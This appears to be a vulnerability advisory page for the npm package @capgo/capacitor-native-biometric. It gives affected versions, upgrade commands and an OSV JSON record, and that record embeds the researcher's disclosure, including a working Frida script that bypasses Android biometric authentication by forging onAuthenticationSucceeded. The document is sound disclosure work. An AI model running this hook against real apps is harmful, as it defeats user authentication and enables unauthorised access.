Vulnerabilities in pkg:npm/@capgo/capacitor-native-biometric
PACKAGEGHSA-vx5f-vmr6-32wf is a MODERATE authentication bypass vulnerability (CWE-287: Improper Authentication) affecting @capgo/capacitor native biometric libraries in the npm ecosystem. The issue involves cap-go/capacitor-native-biometric authentication bypass. Remediation is available by upgrading affected packages to version 8.3.6.
pkg:npm/@capgo/capacitor-native-biometric
Vulnerability advisories affecting package pkg:npm/@capgo/capacitor-native-biometric. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-vx5f-vmr6-32wf | - | MODERATE | cap-go/capacitor-native-biometric Authentication Bypass |
GHSA-vx5f-vmr6-32wf at a Glance
How to Fix GHSA-vx5f-vmr6-32wf
To remediate this vulnerability, upgrade all affected @capgo/capacitor native biometric dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @capgo/capacitor-native-biometric@8.3.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @capgo/capacitor-native-biometric
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-vx5f-vmr6-32wf, inspect your project dependencies using npm:
npm ls @capgo/capacitor-native-biometric
Analyze the terminal output to locate any version of @capgo/capacitor native biometric in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.3.6), your application is affected.
Note: The npm ls @capgo/capacitor-native-biometric command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In @capgo/capacitor native biometric, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-vx5f-vmr6-32wf Affected @capgo/capacitor native biometric Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@capgo/capacitor-native-biometric
|
npm |
< 8.3.6
|
8.3.6
|
References
Frequently Asked Questions
What is GHSA-vx5f-vmr6-32wf?
Which @capgo/capacitor native biometric versions are affected?
What version fixes GHSA-vx5f-vmr6-32wf?
Is @capgo/capacitor-native-biometric affected?
What CWE is associated with GHSA-vx5f-vmr6-32wf?
How can I check npm dependencies for GHSA-vx5f-vmr6-32wf?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vx5f-vmr6-32wf",
"modified" : "2026-02-12T20:25:16Z",
"published" : "2026-02-10T14:33:50Z",
"aliases" : [ ],
"summary" : "cap-go/capacitor-native-biometric Authentication Bypass",
"details" : "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n public void onAuthenticationSucceeded(\n @NonNull BiometricPrompt.AuthenticationResult result\n ) {\n super.onAuthenticationSucceeded(result);\n finishActivity(\"success\");\n }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n<uses-permission android:name=\"android.permission.USE_BIOMETRIC\" />\n<uses-permission android:name=\"android.permission.USE_FINGERPRINT\" />\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from 'react';\nimport { NativeBiometric } from '@capgo/capacitor-native-biometric';\n\nconst App = () => {\n // State to hold authentication status\n const [authStatus, setAuthStatus] = useState<string | null>(null);\n\n // Function to authenticate the user\n const authenticateUser = async () => {\n try {\n const result = await NativeBiometric.verifyIdentity({\n reason: 'For an application access',\n title: 'Log in',\n subtitle: '',\n description: 'Verify yourself by biometrics',\n useFallback: true,\n maxAttempts: 3,\n }).then(() => true)\n .catch(() => false);\n\n if (!result) {\n setAuthStatus('failed');\n } else {\n setAuthStatus('success');\n }\n } catch (error) {\n console.error('Error during biometric verification:', error);\n setAuthStatus('error');\n }\n };\n\n return (\n <div>\n <h1>CAP-GO Capacitor Native Biometric Authentication</h1>\n <button onClick={authenticateUser}>Authenticate with Biometrics</button>\n\n {/* Conditionally render based on authentication status */}\n {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}\n {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}\n {authStatus === 'error' && <h2>Error during authentication</h2>}\n </div>\n );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l <PAYLOAD> -n 'capgo-poc'\n```\n\n### Payload\n```js\nJava.perform(function () {\n hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');\n var cryptoInst = cryptoObj.$new(null);\n var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');\n var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');\n console.log(\"Hooking BiometricPrompt.authenticate()...\");\n biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n var authenticationResultInst = getBiometricPromptResult();\n callback.onAuthenticationSucceeded(authenticationResultInst);\n }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@capgo/capacitor-native-biometric"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.3.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"
}, {
"type" : "WEB",
"url" : "https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Cap-go/capgo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-10T14:33:50Z",
"nvd_published_at" : null
}
}